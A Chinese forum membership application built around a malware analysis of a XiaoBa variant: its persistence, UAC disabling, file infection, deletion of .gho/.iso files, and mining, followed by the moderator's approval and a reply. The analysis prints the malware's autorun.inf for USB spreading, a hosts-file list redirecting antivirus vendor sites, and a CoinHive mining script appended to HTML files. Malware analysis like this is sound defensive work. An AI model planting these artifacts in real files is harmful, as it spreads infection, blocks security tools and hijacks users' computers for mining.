申请会员 ID：HelloWorld{}【申请通过】

申请ID：HelloWorld{}
个人邮箱:676661763@qq.com
原创技术文章：
xiaoba变种分析简报
概述
XiaoBa勒索病毒，是一种新型电脑病毒，是一款国产化水平极高的勒索病毒，主要以邮件，程序木马，网页挂马的形式进行传播。这种病毒利用各种加密算法对文件进行加密，被感染者一般无法解密，必须拿到解密的私钥才有可能破解。倒计时200秒还不缴赎金，被加密的文件就会被全部销毁。以上说明摘自百度百科，但是我分析的这个XiaoBa变种并没有以上行为特征，不过它拥有很强的隐蔽性和感染性，并且具有文件加密，文件删除和挖矿三项主要功能。
样本分析        
此样本经过微步云沙箱分析（相关链接请参见《参考链接》），确认为恶意样本

行为简图

权限调整样本运行之后，首先调整进程权限，确保自己有足够的权限进行后续的操作 路径判断：样本会判断当前的执行路径是否在%systemroot%\360\360Safe\deepscan目录下，如果不在此目录下则拷贝自身到此目录并执行。如果在此路径下，将会首先进行一些修改系统设置相关的操作：修改文件属性将文件属性设置为受保护的系统文件，需要在“文件夹和搜索选项”中取消“隐藏受保护的操作系统文件（推荐）”选项才可看到禁用UAC

设置自启动，创建快捷方式

禁用注册表

不显示隐藏的文件

禁用文件夹和搜素选项

创建自启动

删除SafeBoot选项

磁盘遍历遍历磁盘，在磁盘根目录下创建autorun.inf文件，写入如下数据，尝试进行U盘感染，并且少不了的将此文件设置为隐藏

[autorun]  open=RECYCLER\S-5-4-62-7581032776-5377505530-562822366-6588\ZhuDongFangYu.exe  shellexecute=RECYCLER\S-5-4-62-7581032776-5377505530-562822366-6588\ZhuDongFangYu.exe  shell\Auto\command=RECYCLER\S-5-4-62-7581032776-5377505530-562822366-6588\ZhuDongFangYu.exe  shell\open=RECYCLER\S-5-4-62-7581032776-5377505530-562822366-6588\ZhuDongFangYu.exe  shell\open\Command=RECYCLER\S-5-4-62-7581032776-5377505530-562822366-6588\ZhuDongFangYu.exe

创建文件夹RECYCLER\S-5-4-62-7581032776-5377505530-562822366-6588，并且将自身文件拷贝进来重写hosts文件，重定向安全厂商网址

"127.0.0.0 360.qihoo.com"  "127.0.0.1 qihoo.com"  "127.0.0.1 www.qihoo.com"  "127.0.0.1 www.qihoo.cn"  "127.0.0.1 124.40.51.17"  "127.0.0.1 58.17.236.92"  "127.0.0.1 www.kaspersky.com"  "127.0.0.1 60.210.176.251"  "127.0.0.1 www.cnnod32.cn"  "127.0.0.1 www.lanniao.org"  "127.0.0.1 www.nod32club.com"  "127.0.0.1 www.dswlab.com"  "127.0.0.1 bbs.sucop.com"  "127.0.0.1 www.virustotal.com"  "127.0.0.1 tool.ikaka.com"  "127.0.0.1 www.jiangmin.com"  "127.0.0.1 www.duba.net"  "127.0.0.1 www.eset.com.cn"  "127.0.0.1 www.nod32.com"  "127.0.0.1 shadu.duba.net"  "127.0.0.1 union.kingsoft.com"  "127.0.0.1  www.kaspersky.com.cn"  "127.0.0.1 kaspersky.com.cn"  "127.0.0.1 virustotal.com"  "127.0.0.1 www.360.cn"  "127.0.0.1 www.360safe.cn"  "127.0.0.1 www.360safe.com"  "127.0.0.1 www.chinakv.com"  "127.0.0.1 www.rising.com.cn"  "127.0.0.1 rising.com.cn"  "127.0.0.1 dl.jiangmin.com"  "127.0.0.1 jiangmin.com",

正题最后创建线程，在线程函数中，XiaoBa会遍历所有文件，查找扩展名为.exe，.com，.scr，.pif，.html，.htm，.gho，.iso的文件，针对不同的扩展名执行不同的操作.exe，.com，.scr，.pif重写这些文件，将自身文件写入这些文件的开头，后期如果再运行这些文件的话，就会运行ZhuDongFangYu.exe .html，.htm
在这些文件的末尾添加挖矿脚本

"\r\n"  "<script  type=\"text/javascript\"  src=\"https://coinhive.com/lib/coinhive.min.js\"></script>\r\n"  "<script>\r\n"  "var miner = new  CoinHive.Anonymous('yuNWeGn9GWL72dONBX9WNEj1aVHxg49E');\r\n"  "miner.start();\r\n"  "</script>"

.gho，.iso
对于这些文件，直接删除

一个有意思的点是这个样本的图标是360杀毒的图标，创建的文件夹名也是360，而且经过它重写的可执行程序的图标都换成了360的图标，奇虎的人怎么看。

参考链接https://s.threatbook.cn/report/win7_sp1_enx86_office2013/11abb44de53807e32980a010a473514694f901841e63ab33f5e0ff8754009b47/?sign=history

Hmily

论坛禁止用户名用符号，名字就用JustPlay吧。

I D：JustPlay
邮箱：676661763@qq.com

申请通过，欢迎光临吾爱破解论坛，期待吾爱破解有你更加精彩，ID和密码自己通过邮件密码找回功能修改，请即时登陆并修改密码！
登陆后请在一周内在此帖报道，否则将删除ID信息。

ps：登录后把文章整理一下发到病毒分析区。

JustPlay

新人报道，多谢版主批准